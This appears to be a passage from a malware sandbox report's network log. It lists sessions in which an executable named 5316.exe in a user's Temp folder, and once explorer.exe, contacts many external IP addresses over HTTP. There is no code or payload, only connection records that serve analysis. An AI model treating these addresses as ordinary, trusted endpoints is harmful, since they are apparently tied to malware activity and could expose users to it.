281	192.168.2.4	56978	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	56977	162.255.119.149	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	56858	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.4	56991	108.163.227.170	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.4	57047	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.4	57048	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	56801	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	56966	54.69.113.134	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	56976	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	56992	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	57162	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	57165	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	57186	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	57022	157.112.187.45	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	57164	66.96.160.139	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	57240	76.223.105.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	57035	104.21.20.204	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	57245	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	57312	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	57255	64.91.249.20	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	57323	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	57377	205.178.189.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	57358	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	57390	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	57350	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	57376	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	57389	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	57111	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	57391	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	57078	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	57091	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	57046	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	57059	172.217.15.206	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	57075	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	57523	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	57544	23.227.38.32	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	57392	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	57351	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	57381	199.34.228.152	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	57158	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.4	57278	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	57250	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	57481	217.19.254.237	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	57479	108.163.227.170	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	57473	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	57686	96.45.112.177	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	57706	205.178.189.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	57393	217.160.0.164	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	57382	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	57736	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	57784	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	57488	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	57743	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	57805	108.167.135.109	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	57848	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	57864	3.94.41.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	57858	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
338	192.168.2.4	57801	199.59.243.225	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	57800	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	57694	83.98.155.23	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	57802	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	57806	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	57942	172.67.181.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
344	192.168.2.4	57698	185.112.125.71	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	57979	205.178.187.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.4	57943	69.49.101.57	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	58020	199.60.103.25	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	58037	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	57703	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	58036	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
351	192.168.2.4	58055	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	57689	103.20.214.243	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	57547	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	57697	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	57923	151.101.1.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
356	192.168.2.4	57991	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	57688	217.70.184.38	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.4	58188	64.182.43.254	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	58234	45.56.74.212	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	57741	95.128.72.24	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	57920	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	57807	198.49.23.144	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	58385	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	58390	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	58379	198.49.23.145	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	58375	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	58021	178.33.163.4	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	58019	154.209.61.218	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	58262	91.195.240.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	58441	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	58476	65.8.178.81	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	58109	103.20.214.243	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	58445	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	58523	162.159.134.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	58371	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	58263	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.4	58540	199.59.243.225	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	58459	104.143.9.211	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	58463	66.96.160.139	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	58378	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	58546	15.197.142.173	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	58499	162.215.248.230	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	58545	187.134.52.10	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	58629	104.21.20.204	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	58382	166.62.28.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	58380	103.26.43.131	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	58647	209.126.24.60	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	58159	185.103.16.167	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
389	192.168.2.4	58682	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	58690	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	58663	185.230.63.107	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	58691	216.239.32.21	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	58205	69.20.103.147	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	58110	95.173.180.22	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	58113	213.186.33.19	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	58201	77.72.0.94	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	58826	104.21.4.150	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	58800	205.178.189.129	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	58643	192.185.100.42	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	58674	192.252.146.15	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	58935	13.248.169.48	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	58936	15.197.192.55	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	58630	217.160.0.195	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	58726	160.124.181.5	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	58713	64.190.63.136	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.4	59060	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.4	59029	192.185.100.42	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.4	59062	185.230.63.171	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.4	59086	205.178.189.129	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.4	59071	162.215.248.230	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.4	59043	178.33.163.4	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.4	59144	205.178.189.131	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.4	59140	64.182.43.254	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.4	59167	205.178.187.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.4	59162	216.40.47.17	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	58934	3.33.130.190	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.4	59145	213.186.33.19	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	58766	199.34.228.100	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.4	59281	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.4	59255	54.69.113.134	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.4	59058	217.160.0.164	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
422	192.168.2.4	59059	199.34.228.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
423	192.168.2.4	59504	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.4	58939	3.64.163.50	80	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.4	59467	64.91.249.20	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.4	59389	166.62.28.100	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.4	59545	172.67.181.211	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.4	59206	157.112.187.45	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.4	59272	199.34.228.152	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.4	59615	104.21.4.150	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.4	59696	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.4	59697	13.248.169.48	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.4	59627	15.197.142.173	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
